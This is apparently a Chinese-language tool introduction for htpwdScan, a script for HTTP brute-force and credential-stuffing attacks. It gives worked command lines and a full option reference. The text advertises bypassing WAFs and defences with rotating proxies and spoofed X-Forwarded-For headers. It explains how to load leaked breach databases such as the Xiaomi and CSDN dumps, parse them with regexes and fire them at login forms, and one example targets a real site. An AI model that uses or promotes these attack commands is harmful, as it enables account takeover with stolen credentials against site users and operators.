介紹:
htpwdScan 是一個簡單的HTTP暴力破解、撞庫攻擊腳本:
1. 支持批量校驗並導入HTTP代理,低頻撞庫可以成功攻擊大部分網站,繞過大部分防御策略和waf
2. 支持直接導入互聯網上泄露的社工庫,發起撞庫攻擊
3. 支持導入超大字典
4. 其他細微功能:隨機X-Forwarded-For、隨機SessionID,支持Basic Auth,支持MD5 Hash等
下面是幾個簡單示例:
HTTP Basic認證
htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt
導入用戶名密碼字典即可
表單破解
htpwdScan.py -f post2.txt -d passwd=password.txt -err="success\":false"
從 post2.txt 導入抓的http包,passwd是需要破解的參數,而password.txt是保存了密碼的字典文件
success":false 是選擇的失敗標記,標記中若有雙引號,請記得用右斜杠 \ 轉義
GET參數破解
htpwdScan.py -d passwd=password.txt -u="http://xxx.com/inside.php?m=login&username=test&passwd=test" -get -err="success\":false" 使用-get參數告訴腳本此處是GET請求
撞庫攻擊
htpwdScan.py -f=post.txt -database loginname,passwd=xiaomi.txt -regex="(\S+)\s+(\S+)" -err="用戶名或密碼錯誤" -fip
htpwdScan.py -f=post.txt -database passwd,loginname=csdn.net.sql -regex="\S+ # (\S+) # (\S+)" -err="用戶名或密碼錯誤" -fip
使用小米和csdn庫發起撞庫攻擊。post.txt是抓包的HTTP請求
參數-regex設定從文件提取參數的正則表達式,此處需分組,分組的方式是使用括號()
小米的數據行格式是 xxx@163.com xxxxxxx 也即 (用戶名)空白字符(密碼)
(\S+)\s+(\S+) 指定第一個非空白字符拿去填充loginname,而第二個非空白字符串拿去填充passwd
csdn的數據行格式是zdg # 12344321 # zdg@csdn.net . 正則表達式寫作\S+ # (\S+) # (\S+)
第一個#后面的非空白字符串填充passwd,第二個#后面的非空白字符串填充loginname
請注意,參數的順序是重要的
校驗HTTP代理
htpwdScan.py -f=post.txt -proxylist=proxies.txt -checkproxy -suc="用戶名或密碼錯誤"
要破解某個網站,批量測試使用代理是否連通目標網站,把HTTP請求保存到post.txt,然后用-suc參數設定連通標記
一個簡單可行的校驗方式是:
htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"
完整參數說明
腳本支持的小功能較多,請耐心閱讀以下以下完整說明。建議多使用 -debug 參數查看HTTP請求是否有問題,沒問題再發起真正的破解。
usage: htpwdScan.py [options] * An HTTP weak pass scanner. By LiJieJie * optional arguments: -h, --help 顯示幫助 Target: -u REQUESTURL 設定目標URL, 示例. -u="https://www.test.com/login.php" -f REQUESTFILE 從文件導入HTTP請求 -https 當從文件導入HTTP請求時,啟用https(SSL) -get 使用GET方法,默認: POST -basic [ ...] HTTP Basic 暴力破解. 示例. -basic users.dic pass.dic Dictionary: -d Param=DictFile [Param=DictFile ...] 為參數設定字典文件, 支持哈希函數如 md5, md5_16, sha1. 示例. -d user=users.dic pass=md5(pass.dic) Detect: -no302 無視302跳轉, 默認302敏感 -err ERR [ERR ...] 響應文本的破解失敗標記, 示例. -err "user not exist" "password wrong" -suc SUC [SUC ...] 響應文本中的破解成功標記, e.g. -suc "welcome," "admin" -herr HERR 響應HTTP頭的破解失敗標記 -hsuc HSUC 響應HTTP頭的破解成功標記 -rtxt RetryText 響應文本中的重試標記,出現則重試請求, 示例. -rtxt="IP blocked" -rntxt RetryNoText 響應文本中的重試標記,出現則重試請求, 示例. -rntxt="<body>" -rheader RetryHeader 響應頭中的重試標記,出現則重試請求, 示例. -rheader="Set-Cookie:" -rnheader RetryNoHeader 響應頭中的重試標記,未出現則重試請求, e.g. -rheader="HTTP/1.1 200 OK" Proxy and spoof: -proxy Server:Port 設定少量HTTP代理 示例. -proxy=127.0.0.1:8000,8.8.8.8:8000 -proxylist ProxyListFile 從文件批量導入HTTP代理, e.g. -proxylist=proxys.txt -checkproxy 檢查代理服務器的可用性. 可用代理輸出到 001.proxy.servers.txt -fip 隨機random X-Forwarded-For欺騙源IP -fsid FSID 生成隨機session ID. 示例. -fsid PHPSESSID -sleep SECONDS 每次HTTP結束,等待SECONDS秒, 避免IP被臨時屏蔽,進入黑名單 Database attack: -database DATABASE 導入社工庫中的數據. e.g. -database user,pass=csdn.txt -regex REGEX 從社工庫中提取數據的字符串,必須分組. e.g. -regex="(\S+)\s+(\S+)" General: -t THREADS 工作線程數,默認50 -o OUTPUT 輸出文件. 默認: 000.Cracked.Passwords.txt -debug 進入debug mode檢查HTTP請求和HTTP響應 -nov 只顯示破解成功的條目,不顯示進度 -v show program's version number and exit
下載
獲取腳本:https://github.com/lijiejie/htpwdScan
相關連接:
https://www.secpulse.com/archives/6158.html
https://blog.csdn.net/smli_ng/article/details/105994754 ................Nikto接口掃描
https://www.cnblogs.com/weihua2616/p/6599629.html............Nmap主機掃描工具
https://blog.csdn.net/tomy2426214836/article/details/89404152 ..........Nikto接口掃描(運行Nikto需要依賴perl環境)